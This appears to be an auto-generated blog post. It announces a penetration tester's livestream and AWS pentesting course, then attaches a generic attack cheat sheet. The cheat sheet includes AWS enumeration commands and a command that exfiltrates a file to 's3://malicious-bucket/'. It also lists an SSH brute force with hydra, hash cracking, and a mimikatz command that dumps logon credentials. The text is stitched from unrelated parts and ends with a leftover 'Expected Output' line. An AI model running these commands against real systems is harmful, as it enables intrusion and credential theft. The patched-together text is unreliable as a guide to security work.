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Tyler Ramsbey, a renowned Penetration Tester and Content Creator, is returning after a 40-day break with fresh insights to elevate his “Hack Smarter” series. Join him for a live stream and Q&A session where he will also begin filming his Intro to AWS Pentesting course.
Event Details:
- Date: April 20, 2025
- Time: 11:00 PM – 1:00 AM (Local Time)
- Speakers: Tyler Ramsbey (46.5K Followers)
You Should Know:
1. Essential AWS Pentesting Commands
Before diving into AWS security, ensure you have the AWS CLI installed and configured:
sudo apt install awscli For Debian/Ubuntu aws configure Set up credentials
2. Reconnaissance in AWS
Use Pacu, an open-source AWS exploitation framework:
git clone https://github.com/RhinoSecurityLabs/pacu cd pacu python3 pacu.py
3. Checking for Misconfigurations
List S3 buckets and check permissions:
aws s3 ls aws s3api get-bucket-acl --bucket BUCKET_NAME
4. Exploiting IAM Weaknesses
Enumerate IAM policies:
aws iam list-policies aws iam get-policy-version --policy-arn ARN --version-id v1
5. Privilege Escalation Techniques
Check for vulnerable Lambda functions:
aws lambda list-functions aws lambda get-policy --function-name FUNCTION_NAME
6. Post-Exploitation with AWS
Exfiltrate data using a compromised instance:
aws s3 cp sensitive.txt s3://malicious-bucket/
What Undercode Say
AWS pentesting requires a deep understanding of cloud infrastructure, IAM policies, and misconfigurations. Key takeaways:
– Recon is Critical: Use tools like Pacu and ScoutSuite for automated assessments.
– Least Privilege Matters: Over-permissive IAM roles are a goldmine for attackers.
– Automate Attacks: Leverage AWS CLI and scripts to speed up exploitation.
Linux Command Cheat Sheet:
nmap -sV TARGET_IP Service detection hydra -l user -P passlist.txt ssh://IP Bruteforce SSH john --wordlist=rockyou.txt hash.txt Crack hashes
Windows Command Cheat Sheet:
whoami /priv Check privileges net user /domain Enumerate AD users mimikatz.exe "sekurlsa::logonpasswords" Extract credentials
Expected Output:
A structured AWS pentesting methodology, including reconnaissance, exploitation, and post-exploitation commands.
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